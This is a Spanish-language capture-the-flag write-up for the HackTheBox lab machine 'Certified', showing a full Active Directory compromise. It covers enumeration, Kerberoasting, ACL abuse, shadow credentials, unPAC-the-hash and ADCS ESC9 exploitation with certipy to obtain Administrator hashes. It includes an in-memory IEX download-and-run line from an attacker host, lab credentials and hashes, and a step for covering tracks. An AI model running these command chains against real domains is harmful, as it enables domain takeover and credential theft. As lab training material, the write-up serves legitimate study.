Certified

---

Reconnaissance

Proceremos a realizar un reconocimiento con nmap para ver los puertos que están expuestos en la máquina Certified.

nmap -p- --open -sS --min-rate 1000 -vvv -Pn -n 10.10.11.41 -oG allPorts

Lanzaremos scripts de reconocimiento sobre los puertos encontrados y lo exportaremos en formato oN y oX.

nmap -sCV -p53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49666,49668,49673,49674,49681,49716,49740,49775 10.10.11.41 -A -oN targeted -oX targetedXML

Transformaremos el archivo XML obtenido en el resultado de nmap y lo transformaremos en un archivo HTML. Levantaremos un servidor HTTP con Python3.

xsltproc targetedXML > index.html

python3 -m http.server 80

Accederemos a http://localhost y comprobaremos el resultado en un formato más cómodo para su análisis.

Comprobaremos el nombre del dominio que nos enfrentamos, el nombre del equipo y que tipo de máquina nos enfrentamos.

ldapsearch -x -H ldap://10.10.11.41 -s base | grep defaultNamingContext

netexec smb 10.10.11.41

Procederemos a añadir la entrada en nuestro archivo /etc/hosts

catnp /etc/hosts | grep certified.htb

RPC Enumeration

Debido que disponemos de credenciales de un usuario del dominio que nos aporta HackTheBox, procederemos a realizar una enumeración a través del protocolo RPC con la herramienta rpcenum.

Verificamos que hemos procedido a enumerar la lista de usuarios que se encuentran en el dominio de certified.htb.

rpcenum -e All -i 10.10.11.41 -u 'judith.mader' -p 'judith09'

Guardaremos los usuarios del dominio enumerados en el archivo users.txt.

catnp users.txt

AS-REP Roast Attack (GetNPUsers) - [FAILED]

Debido que disponemos de una lista potencial de usuarios, probaremos a realizar un AS-REP Roast Attack para intentar obtener un Ticket Granting Ticket (TGT) para luego crackearlo de manera offline.

Comprobamos que no obtenemos ningún TGT debido que ningun usuario dispone del atributo (DONT_REQ_PREAUTH) de Kerberos.

impacket-GetNPUsers -no-pass -usersfile users.txt certified.htb/ 2>/dev/null

SMB Enumeration [FAILED]

A través de la herramienta de sbmap procederemos a enumerar los recursos compartidos. En este caso, ningún recurso compartido parece tener alguna información interesante.

smbmap -H 10.10.11.41 --no-banner -u 'judith.mader' -p 'judith09'

Kerberoasting Attack (GetUserSPNs)

Ya que disponemos de credenciales de un usuario del dominio válidas, probaremos de realizar un Kerberoasting Attack para intentar obtener un Ticket Granting Service (TGS), comprobamos que obtenemos un TGS del usuario "management_svc".

impacket-GetUserSPNs -dc-ip 10.10.11.41 certified.htb/judith.mader -request 2>/dev/null

Cracking hashes [FAILED]

Procederemos a intentar crackear el hash obtenido del TGS para obtener la contraseña del usuario en cuestión. En este caso, comprobamos que no hemos sido capaces de crackear el hash, lo cual indica que la contraseña no se encuentra en el diccionario utilizado "rockyou.txt".

hashcat -a 0 hashes /usr/share/wordlists/rockyou.txt

LDAP Enumeration (ldapdomaindump)

Con ldapdomaindump dumpearemos toda la información del LDAP a través del usuario y contraseña que disponemos. Nos generará los resultados en distintos formatos.

ldapdomaindump -u 'certified.htb\judith.mader' -p 'judith09' 10.10.11.41 -o ldap

Revisando el archivo "domain_users.html" verificamos que el usuario "management_svc" forma parte del grupo "Remote Management Users", con el cual podríamos conectarnos al DC a través de WinRM, PsExec, etc.

Este es el usuario que hemos obtenido el TGS (Ticket Granting Service) pero no hemos podido crackear su hash.

BloodHound Enumeration

Realizaremos una enumeración con BloodHound a través de bloodhound-python.

bloodhound-python -c all -u judith.mader -p 'judith09' -d certified.htb -ns 10.10.11.41

Abusing WriteOwner Privilege (bloodyAD)

Revisando BloodHound para buscar una vía potencial de escalar nuestros privilegios, nos damos cuenta que el usuario que tenemos ([e-mail]) dispone de permisos "WriteOwner" sobre el grupo "[e-mail]", con el cual podríamos hacernos propietario de este grupo y añadirnos debido que los miembros de este grupo disponen del privilegio de "GenericWrite" sobre el usuario ([e-mail]) con el cual podríamos llegar a realizar posteriormente otro ataque.

Esto puede ser intersante para realizar un Lateral Movement y realizar posteriormente un Shadow Credentials Attack.

A través de la herramienta de bloodyAD, procederemos a establecer al usuario "judith.mader" como propietaria del grupo "[e-mail]".

Seguidamente procederemos a otorgarnos permisos de genericAll sobre el grupo "[e-mail]" y posteriormente añadirnos como miembros de dicho grupo.

bloodyAD --host 10.10.11.41 -d certified.htb -u judith.mader -p 'judith09' set owner 'Management' judith.mader

bloodyAD --host 10.10.11.41 -d certified.htb -u judith.mader -p 'judith09' add genericAll 'Management' judith.mader

net rpc group addmem "Management" "judith.mader" -U "certified.htb"/"judith.mader"%"judith09" -S 10.10.11.41

Abusing GenericWrite Privilege - Shadow Credentials Attack (pyWhisker.py)

Ya que ahora el usuario que disponemos "[e-mail]" forma parte del grupo "[e-mail]" y los miembros de este disponen del privilegio de GenericWrite, podemos probar de realizar un Shadow Credentials Attack para obtener el hash NTM del usuario "[e-mail]".

Verificamos que al realizar el ataque, obtenemos un archivo .PFX y unas credenciales para el archivo en cuestión.

python3 /opt/pywhisker/pywhisker/pywhisker.py --dc-ip 10.10.11.41 -d "certified.htb" -u "judith.mader" -p "judith09" --target "MANAGEMENT_SVC" --action "add"

unPAC the hash (gettgtpkinit.py && getnthash.py)

A continuación, deberemos de realizar un unPAC the hash para obtener el hash NTLM del usuario al cual le hemos realizado el Shadow Credentials Attack.

A través del siguiente comando, procederemos a obtener el TGT (Ticket Granting Ticket) utilizando el el certificado .PFX obtenido. Verificamos que nos genera un TGT en el archivo llamado .ccache.

python /opt/PKINITtools/gettgtpkinit.py -dc-ip 10.10.11.41 certified.htb/MANAGEMENT_SVC -cert-pfx 3r6awZCj.pfx -pfx-pass YKnNhAzfknFJOWoLIcdS MANAGEMENT_SVC.ccache

Una vez con el TGT generado, procederemos a extraer el hash NTLM del usuario objetivo. Verificamos que hemos conseguido el hash NTLM del usuario "[e-mail]".

python /opt/PKINITtools/getnthash.py -dc-ip 10.10.11.41 certified.htb/MANAGEMENT_SVC -key 24e19988d8b8503066217b378c54975abc8bbbb55394817a1bcd4667eb3991fa 2>/dev/null

Initial Access

Validating the obtained NTLM hash

Procederemos a validar el hash NTLM obtenido del usuario "[e-mail]" para comprobar que es válido.

netexec winrm 10.10.11.41 -u 'MANAGEMENT_SVC' -H 'a091c1832bcdd4677c28b5a6a1295584'

Abusing WinRM

Una vez validado que podemos autenticarnos con el hash NTLm del usuario en cuestión y que hayamos comprobado que anteriormente con este usuario disponía de permisos para conectarse de manera remota, procederemos a acceder al WinRM a través de evil-winrm.

Verificaremos la flag de user.txt.

evil-winrm -i 10.10.11.41 -u 'MANAGEMENT_SVC' -H 'a091c1832bcdd4677c28b5a6a1295584'

Privilege Escalation

DC Enumeration (adPEAS) - Powershell tool to automate Active Directory enumeration

Procederemos de realizar una enumeración del AD a través de la herramienta adPEAS.ps1 que es un script de Powershell (parecido a winPEAS) pero en vez de buscar malas configuraciones de Windows, hace exactamente lo mismo pero en el entorno del AD.

Nos lo descargaremos en nuestra Kali, levantaremos un servidor web con Pyton y a través de IEX en el equipo Windows, lo importaremos en memoria.

wget https://raw.githubusercontent.com/61106960/adPEAS/refs/heads/main/adPEAS.ps1

python3 -m http.server 80

IEX (New-Object Net.WebClient).downloadString("http://10.10.14.19/adPEAS.ps1")

Invoke-adPEAS

Dentro del resultado del análisis nos encuentra información sobre Active Directory Certificate Services en el cual nos reporta de posiblemente sea vulnerable pero es manegada por el usuario "[e-mail]".

Abusing GenericAll Privilege (Changing user credentials from Powershell)

Revisando nuevamente el BloodHound, comprobamos que el usuario "[e-mail]" dispone de privilegios de GenericAll sobre el usuario "[e-mail]".

Teniendo estos permisos, podemos a llegar a cambiar las credenciales sobre el usuario "[e-mail]".

El propio BloodHound nos indica como podemos llegar a explotar este privilegio. En este caso, debido que disponemos del acceso a la máquina Windows, podemos realizar el "Windows Abuse".

Procederemos a realizar las credenciales del usuario "CA_OPERATOR" desde la sesión de "[e-mail]" que disponemos en WinRM.

$UserPassword = ConvertTo-SecureString 'Gzzcoo123' -AsPlainText -Force

Set-DomainUserPassword -Identity CA_OPERATOR -AccountPassword $UserPassword

Procederemos a validar que se han modificado correctamente las credenciales del usuario en cuestión.

netexec smb 10.10.11.41 -u 'CA_OPERATOR' -p 'Gzzcoo123'

Abusing Active Directory Certificate Services (ADCS)

ADCS es el rol que maneja la emisión de certificados para usuarios, equipos y servicios en la red de Active Directory. Este servicio, si está mal configurado, puede presentar vulnerabilidades que los atacantes podrían explotar para elevar privilegios o acceder a información sensible.

Algunas de las posibles vulnerabilidades que puede tener ADCS son:

1. Delegación de privilegios en la emisión de certificados: Si ciertos usuarios tienen permisos para emitir certificados para otros, un atacante podría abusar de estos privilegios para obtener permisos elevados.

2. Mala configuración en las plantillas de certificados: Configuraciones incorrectas en las plantillas de certificados podrían permitir que un atacante solicite un certificado en nombre de otro usuario, incluso uno con privilegios elevados.

3. NTLM Relaying en HTTP: Si el ADCS acepta autenticación NTLM en lugar de Kerberos, un atacante podría redirigir las solicitudes para ganar acceso.

ESC9 exploitation case with certipy-ad

Al ejecutar este comando, Certipy escanea el entorno de Active Directory en busca de configuraciones vulnerables dentro de los servicios de ADCS. Este análisis incluye verificar permisos delegados indebidos y configuraciones inseguras en la CA. Durante la ejecución, se identificó una vulnerabilidad clasificada como ESC9.

La vulnerabildiad es sobre el CA "certified-DC01-CA" y el Template "CertifiedAuthentication".

La vulnerabilidad ESC9 en ADCS se produce debido a la delegación indebida de permisos sobre la Entidad de Certificación (CA). Específicamente, el permiso ManageCA permite que usuarios con privilegios limitados puedan realizar acciones administrativas como:

• Emitir certificados arbitrarios para cualquier cuenta, incluyendo cuentas privilegiadas como Administrator.

• Modificar configuraciones críticas de la CA, afectando su comportamiento o aumentando el riesgo de abuso.

En resumen, ESC9 permite a un atacante aprovechar permisos mal configurados para obtener acceso privilegiado dentro del dominio mediante el abuso de certificados.

Para consultar cómo funciona Certipy y los detalles sobre esta vulnerabilidad, se puede revisar la siguiente página -> https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7

certipy-ad find -u [e-mail] -p 'Gzzcoo123' -dc-ip 10.10.11.41 -vulnerable -stdout

En este caso, disponemos de que el usuario "[e-mail]" dispone de permisos de GenericWrite sobre el usuario "[e-mail]".

Por lo tanto, podemos realizar un Shadow Credentials Attack desde Certipy-AD. Este paso lo podríamos llegar a omitir debido que en los pasos anteriores ya hemos conseguido las credenciales del usuario "CA_OPERATOR" debido que le hemos cambiado sus credenciales.

Una vez obtenido del hash del usuario "[e-mail]" procederemos a validar el hash NTLM obtenido.

certipy-ad shadow auto -username [e-mail] -hashes ':a091c1832bcdd4677c28b5a6a1295584' -account CA_OPERATOR

netexec smb 10.10.11.41 -u 'CA_OPERATOR' -H '613a519b5b0ef57c07bc6395aa1aff14'

Utilizamos Certipy para actualizar el UPN de la cuenta CA_OPERATOR, asignándole el valor de Administrator. Esto nos permite asociar cualquier certificado emitido a CA_OPERATOR con la identidad de Administrator:

certipy-ad account update -username [e-mail] -hashes ':a091c1832bcdd4677c28b5a6a1295584' -user CA_OPERATOR -upn administrator

Solicitamos un certificado utilizando la plantilla vulnerable CertifiedAuthentication. Este certificado se emitió con el UPN de Administrator, habilitando su uso para autenticación con privilegios elevados:

certipy-ad req -username [e-mail] -hashes 613a519b5b0ef57c07bc6395aa1aff14 -dc-ip 10.10.11.41 -ca certified-DC01-CA -template CertifiedAuthentication

Posteriormente, restauramos el UPN de CA_OPERATOR a su valor original para minimizar evidencias de la modificación realizada.

Seguidamente utilizamos el certificado emitido para autenticarnos y verificamos que obtenemos el hash NTLM del usuario "Administrator".

certipy-ad account update -username [e-mail] -hashes ':a091c1832bcdd4677c28b5a6a1295584' -user CA_OPERATOR -upn [e-mail]

certipy-ad auth -pfx administrator.pfx -domain certified.htb

Obtenido el hash NTLM, procederemos a validar las credenciales a través de netexec y una vez verificado que son credenciales correctas, procederemos a autenticarnos a través de evil-winrm.

Obtenemos la flag de root.txt.

netexec smb 10.10.11.41 -u 'Administrator' -H '0d5b49608bbce1751f708748f67e2d34'

evil-winrm -i 10.10.11.41 -u 'Administrator' -H '0d5b49608bbce1751f708748f67e2d34'